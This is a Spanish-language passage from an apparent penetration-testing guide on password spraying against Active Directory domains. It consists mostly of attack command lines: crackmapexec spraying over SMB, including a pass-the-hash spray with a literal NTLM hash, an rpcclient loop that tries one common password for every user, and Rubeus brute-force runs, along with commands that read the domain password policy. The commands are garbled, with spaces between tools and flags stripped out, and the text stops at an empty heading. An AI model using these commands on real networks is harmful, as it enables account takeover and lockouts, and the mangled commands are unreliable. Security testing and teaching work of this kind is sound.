Una vez que hayas encontrado varios nombres de usuario válidos, puedes probar las contraseñas más comunes (ten en cuenta la política de contraseñas del entorno) con cada uno de los usuarios descubiertos.
Por defecto, la longitud mínima de la contraseña es 7.
Ten en cuenta que podrías bloquear algunas cuentas si intentas varias contraseñas incorrectas (por defecto más de 10).
Obtener la política de contraseñas
Si tienes algunas credenciales de usuario o una shell como usuario de dominio, puedes obtener la política de contraseñas con:
# From Linuxcrackmapexec<IP>-u'user'-p'password'--pass-polenum4linux-u'username'-p'password'-P<IP>rpcclient-U""-N10.10.10.10;rpcclient $>querydominfoldapsearch-h10.10.10.10-x-b"DC=DOMAIN_NAME,DC=LOCAL"-ssub"*"|grep-m1-B10pwdHistoryLength# From Windowsnetaccounts(Get-DomainPolicy)."SystemAccess"#From powerview
Explotación desde Linux (o todos)
Usando crackmapexec:
crackmapexecsmb<IP>-uusers.txt-ppasswords.txt# Local Auth Spray (once you found some local admin pass or hash)## --local-auth flag indicate to only try 1 time per machinecrackmapexecsmb--local-auth10.10.10.10/23-uadministrator-H10298e182387f9cab376ecd08491764a0|grep+
Con el módulo scanner/smb/smb_login de Metasploit:
Usando rpcclient:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/for u in $(catusers.txt); dorpcclient-U"$u%Welcome1"-c"getusername;quit"10.10.10.10|grepAuthority;done
Desde Windows
Con la versión de Rubeus con el módulo de fuerza bruta:
# with a list of users.\Rubeus.exebrute/users:<users_file>/passwords:<passwords_file>/domain:<domain_name>/outfile:<output_file># check passwords for all users in current domain.\Rubeus.exebrute/passwords:<passwords_file>/outfile:<output_file>
Con Invoke-DomainPasswordSpray (Puede generar usuarios del dominio por defecto y obtendrá la política de contraseñas del dominio y limitará los intentos de acuerdo a ella):